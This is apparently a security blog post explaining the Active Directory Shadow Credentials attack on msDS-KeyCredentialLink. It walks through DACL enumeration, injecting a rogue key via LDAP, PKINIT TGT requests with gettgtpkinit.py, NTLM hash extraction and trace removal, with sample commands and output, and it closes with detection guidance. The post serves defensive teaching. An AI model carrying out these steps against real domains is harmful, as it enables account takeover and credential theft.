Active Directory Shadow Credentials: msDS-KeyCredentialLink Abuse
Overview & Threat Landscape#
In enterprise Windows environments, Active Directory Domain Services (AD DS) serves as the centralized identity provider and security boundary. To transition enterprise fleets toward modern, passwordless authentication models, Microsoft introduced Windows Hello for Business (WHfB) and FIDO2 integration starting with Windows Server 2016. To facilitate passwordless authentication without requiring extensive schema overhauls or deploying third-party public key infrastructure (PKI), Microsoft introduced the msDS-KeyCredentialLink attribute on Active Directory user and computer objects.
This attribute allows accounts to register raw public keys directly within the directory. When a user authenticates via Windows Hello or a security key, the Domain Controller's Key Distribution Center (KDC) verifies the cryptographic assertion against the public key stored in msDS-KeyCredentialLink using Kerberos PKINIT (RFC 4556), issuing a valid Ticket Granting Ticket (TGT) without requiring a traditional password.
However, this architecture introduces a profound privilege escalation and persistence mechanism known as Shadow Credentials. If an adversary achieves write access over an Active Directory object's Access Control List (DACL)—via permissions such as GenericAll, GenericWrite, WriteOwner, WriteDacl, or explicit WritePropertyonmsDS-KeyCredentialLink—the attacker can craft a synthetic public key credential and append it to the target's attribute via LDAP. The attacker then initiates a standard Kerberos PKINIT exchange using their locally held private key. The KDC validates the key, assumes the identity belongs to the target principal, and issues a fully functional Kerberos TGT.
[!WARNING] Shadow Credentials fundamentally alters Active Directory offensive operations. Unlike traditional password resets (which alert the victim, sever active sessions, and trigger Security Event ID 4724), injecting an alternative public key leaves the victim's existing password completely intact. Furthermore, endpoint detection and response (EDR) sensors on workstations remain completely blind, as the entire attack is conducted remotely over LDAP (TCP 389/636) and Kerberos (TCP/UDP 88) directly against the Domain Controller.
Vulnerability & Attack Root-Cause Analysis#
To deconstruct the root cause of Shadow Credentials, we must inspect the binary serialization format of the credential link attribute and the authentication logic implemented by the KDC.
The msDS-KeyCredentialLink Binary Specification ([MS-ADTS] 2.2.20)#
In Active Directory, msDS-KeyCredentialLink is defined as a DNwithBinary attribute syntax. The attribute stores an ASN.1 Distinguished Name accompanied by a binary payload prefixed with the byte length:
B:<length>:<binary_data>:<distinguished_name>
The underlying binary payload is structured as a KEYCREDENTIALLINK_BLOB. According to Microsoft Technical Specification [MS-ADTS] Section 2.2.20, this binary blob is structured as an array of length-value structures:
// Conceptual C Representation of KEYCREDENTIALLINK_BLOB structure
typedef struct _KEYCREDENTIALLINK_BLOB {
DWORD dwVersion; // Must be 0x00000100 (Version 1.0)
DWORD dwEntryCount; // Number of KEYCREDENTIALLINK_ENTRY structures
// Followed by dwEntryCount serialized KEYCREDENTIALLINK_ENTRY items
} KEYCREDENTIALLINK_BLOB;
typedef struct _KEYCREDENTIALLINK_ENTRY {
WORD wLength; // Length of the value data
BYTE bIdentifier; // Type identifier of the entry
BYTE bData[wLength]; // Raw entry payload
} KEYCREDENTIALLINK_ENTRY;
EachKEYCREDENTIALLINK_ENTRY holds specific metadata required to bind the public key to the account. The critical entry identifiers include:
| Identifier | Symbolic Name | Size | Purpose & Technical Description |
|---|---|---|---|
0x01 |
KeyID |
32 Bytes | SHA-256 hash of the raw public key material used as a lookup index by the KDC. |
0x02 |
KeyMaterial |
Variable | Raw public key encoded as a Microsoft Cryptography Next Generation (CNG) BCRYPT_RSAKEY_BLOBorBCRYPT_ECCKEY_BLOB. |
0x03 |
KeyUsage |
1 Byte | Bitmask defining key purpose: 0x01 specifies NGC (Next Generation Credential / WHfB); 0x02 specifies FIDO. |
0x04 |
KeySource |
1 Byte | Credential origin: 0x00 specifies Active Directory DS; 0x01 specifies Azure AD / Entra ID. |
0x05 |
DeviceId |
16 Bytes | Unique device identifier represented as a binary GUID. |
0x06 |
CustomKeyInformation |
Variable | Optional flags controlling key enforcement and attestation checks. |
When Active Directory processes an LDAP ModifyRequest to write to msDS-KeyCredentialLink, the domain schema validates only that the caller holds write permissions to the attribute and that the binary blob parses according to the specification. Crucially, the directory does not perform hardware attestation, enrollment authorization, or require administrative approval before accepting the key.
Kerberos PKINIT Authentication Workflow (RFC 4556)#
Once the rogue public key is committed to the directory, the attacker invokes Kerberos Public Key Cryptography for Initial Authentication (PKINIT per RFC 4556 and [MS-PKCA]):
- Client AS-REQ Generation: The attacker generates a Kerberos
AS-REQtargeting the KDC. The request includes thePA-PK-AS-REQpre-authentication data structure (pre-auth type16or17). - AuthPack Signing: Inside
PA-PK-AS-REQ, the attacker includes a signedAuthPackstructure containing a CMS (Cryptographic Message Syntax) signature generated with their local private key. - KDC Verification: The KDC retrieves the target user or computer object from
ntds.dit. Instead of querying an enterprise Certificate Authority (CA) revocation list, the KDC inspectsmsDS-KeyCredentialLink. It matches theKeyIDfrom theAuthPack, retrieves theKeyMaterialCNG blob, and cryptographically verifies the signature on theAuthPack. - TGT Issuance with PAC: Upon successful signature validation, the KDC constructs an authentic Kerberos Ticket Granting Ticket (TGT). The KDC generates a Privilege Attribute Certificate (PAC) enumerating the target's security groups (including Domain Admins, Enterprise Admins, or Schema Admins), signs the PAC using the domain
krbtgtkey, and transmits theAS-REPcontaining the encrypted TGT back to the caller.
Exploit Architecture & Protocol Flow#
The following sequence diagram illustrates the entire Shadow Credentials exploitation lifecycle, from DACL abuse to full Kerberos authentication and subsequent NTLM credential recovery via PKINIT:
sequenceDiagram
autonumber
participant Attacker as Unprivileged Domain Foothold
participant LDAP as Domain Controller (LDAP Port 389/636)
participant KDC as Domain Controller (KDC Port 88)
participant Target as Target Account (e.g. VIP / Domain Admin)
Note over Attacker: Step 1: Discover DACL Write Permission on Target
Attacker->>LDAP: Query object DACL (GenericWrite on Target)
LDAP-->>Attacker: Confirm write access to msDS-KeyCredentialLink
Note over Attacker: Step 2: Generate Asymmetric Keypair & KEYCREDENTIALLINK_BLOB
Attacker->>Attacker: Generate local RSA-2048 private/public keypair
Attacker->>Attacker: Compute KeyID SHA-256 and assemble BCRYPT_RSAKEY_BLOB
Note over Attacker: Step 3: Inject Shadow Credential via LDAP
Attacker->>LDAP: LDAP ModifyRequest(ADD, msDS-KeyCredentialLink, BinaryBlob)
LDAP->>Target: Commit KEYCREDENTIALLINK_BLOB to account in NTDS.dit
LDAP-->>Attacker: LDAP ModifyResponse(SUCCESS)
Note over Attacker: Step 4: Execute Kerberos PKINIT Pre-Authentication
Attacker->>KDC: Kerberos AS-REQ with PA-PK-AS-REQ (Signed by Private Key)
KDC->>Target: Retrieve msDS-KeyCredentialLink from NTDS.dit
KDC->>KDC: Verify signature using injected public KeyMaterial
KDC-->>Attacker: Kerberos AS-REP containing TGT and signed PAC
Note over Attacker: Step 5: UnPAC-the-Hash / TGS Service Impersonation
Attacker->>KDC: Kerberos TGS-REQ (U2U) with PAC_CREDENTIAL_INFO
KDC-->>Attacker: TGS-REP containing decrypted NTLM Hash of Target
Note over Attacker: Step 6: Covert Cleanup
Attacker->>LDAP: LDAP ModifyRequest(DELETE, msDS-KeyCredentialLink)
LDAP-->>Attacker: LDAP ModifyResponse(SUCCESS)Attack Path Step-by-Step#
To evaluate the operational mechanics of Shadow Credentials, we examine how an adversary transitions from discovering delegated rights to achieving domain takeover.
Step 1: Identifying Misconfigured Object DACLs#
Active Directory environments frequently accumulate over-privileged ACLs due to delegated administration, legacy tiering migration, or automation service accounts. An attacker enumerates objects where their low-privileged user or group holds modifying authority:
# Active Directory PowerShell: Inspecting DACL for msDS-KeyCredentialLink write rights
$TargetUser = "CN=da-svc-backup,OU=AdminAccounts,DC=corp,DC=internal"
$ACL = Get-Acl "AD:$TargetUser"
## Filter access rules for GenericAll, WriteDacl, or WriteProperty targeting KeyCredentialLink
$ACL.Access | Where-Object {
$_.IdentityReference -match "Domain Users|Tier2-Admins" -and (
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl" -or
$_.ObjectType -eq "5b47d60f-6090-40b2-9f37-2a4de45f4263" # Schema GUID for msDS-KeyCredentialLink
)
} | Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType
Step 2: Binary Blob Assembly & Key Injection#
The attacker generates a fresh RSA-2048 or NIST P-256 ECC key pair locally. The public key is formatted into the CNG BCRYPT_RSAKEY_BLOB specification, hashed with SHA-256 to derive the KeyID, and serialized into the binary blob:
# Conceptual structure of the injected LDAP change record (LDIF)
dn: CN=da-svc-backup,OU=AdminAccounts,DC=corp,DC=internal
changetype: modify
add: msDS-KeyCredentialLink
msDS-KeyCredentialLink: B:192:0100000000000000...RAW_HEX_KEYCREDENTIALLINK_BLOB...:CN=da-svc-backup,OU=AdminAccounts,DC=corp,DC=internal
-
When committed via standard LDAP or LDAPS, the Domain Controller appends the key to the target's multivalue attribute without validating if the client machine is an enrolled Windows Hello device.
Step 3: Requesting Kerberos TGT via PKINIT#
With the shadow credential active in ntds.dit, the attacker initiates an RFC 4556 AS-REQ to the KDC, specifying the target account as the client principal and signing the PA-PK-AS-REQ with the private key:
# Requesting TGT via Kerberos PKINIT using the shadow certificate/keypair
python3 gettgtpkinit.py \
-cert-pfx /tmp/shadow_cred.pfx \
-pfx-pass "ShadowPassword123!" \
corp.internal/da-svc-backup \
/tmp/da_backup.ccache
The KDC reads the public key directly from msDS-KeyCredentialLink, validates the CMS signature, generates a full TGT, and bundles the PAC representing the victim's group memberships.
Step 4: UnPAC-the-Hash (NTLM Credential Recovery)#
A critical byproduct of Kerberos PKINIT in Windows Active Directory is the PAC_CREDENTIAL_DATA structure. When an account authenticates using certificates, the KDC includes the user's NTLM hash encrypted under the Kerberos session key inside the PAC to facilitate legacy NTLM authentication to older network services.
By conducting a User-to-User (U2U) TGS request using the newly issued TGT, the attacker decrypts the PAC credential info and extracts the victim's static NTLM hash:
# Extracting the target's NTLM hash via Kerberos PKINIT U2U exchange
python3 unpac-hash.py \
-kdc dc01.corp.internal \
corp.internal/da-svc-backup \
/tmp/da_backup.ccache
Extracted Output:
[*] Successfully decrypted PAC_CREDENTIAL_INFO
[*] Account: da-svc-backup
[*] NTLM Hash: aad3b435b51404eeaad3b435b51404ee:32ed87b7a3129209cbc5e0b7ceacd135
With the NTLM hash recovered, the attacker can execute Pass-the-Hash (PtH) attacks, authenticate across SMB/WMI, or pivot laterally into administrative systems without leaving persistent Kerberos artifacts.
Step 5: Surgical Trace Removal#
Because Shadow Credentials operate as an additive property, an attacker who extracts the TGT or NTLM hash can instantly delete their injected entry from msDS-KeyCredentialLink via LDAP. The issued TGT remains valid for its entire 10-hour lifetime, leaving no trace of the rogue credential upon inspection.
Fast Cyber Defense Morning Takeaways#
The Shadow Credentials attack demonstrates why perimeter defenses and traditional credential rotation policies fail to guarantee Active Directory integrity. When directory attributes can be manipulated directly via LDAP, authentication trust boundaries collapse from within.
- DACL Control Equals Complete Identity Control: In Active Directory, object-level permissions (
GenericAll,GenericWrite,WriteOwner,WriteDacl,WriteProperty) must be treated with the same severity as full credential theft. Any principal capable of modifyingmsDS-KeyCredentialLinkcan impersonate the target at will. - Password Changes Provide False Assurance: Organizations that enforce 90-day password rotation or perform emergency password resets during incident response will not revoke an attacker's access if a shadow credential remains planted on the account.
- Silent Lateral Movement: Shadow Credentials do not generate Event ID 4724 (Password Reset Attempt) or Event ID 4738 (User Account Modified with Password Last Set changes). Detection requires inspecting Directory Service Changes (Event ID 5136) and anomalous PKINIT Kerberos Ticket Requests (Event ID 4768 with pre-auth type 16/17).
- Bridge to Evening Defense Guide: In tonight's Edition 2 post, we will publish the complete blue team engineering guide for defeating Shadow Credentials, including:
- Deploying SACLs on
msDS-KeyCredentialLinkto generate high-fidelity Event ID 5136 telemetry. - Implementing validated Sigma rules to detect unauthorized LDAP modifications and non-WHfB PKINIT authentications.
- PowerShell automation scripts to audit and purge rogue
KEYCREDENTIALLINK_BLOBentries across all user and computer objects. - Hardening Active Directory Tier-0 delegation models to eradicate accidental write permissions.
- Deploying SACLs on
Authoritative Technical References#
- Microsoft Open Specifications: [MS-ADTS] Section 2.2.20 - Key Credential Link
- IETF RFC 4556: Public Key Cryptography for Initial Authentication in Kerberos (PKINIT)
- SpecterOps Research: Shadow Credentials - New Active Directory Exploitation Technique
- MITRE ATT&CK: Technique T1098 - Account Manipulation
Comments
Post a Comment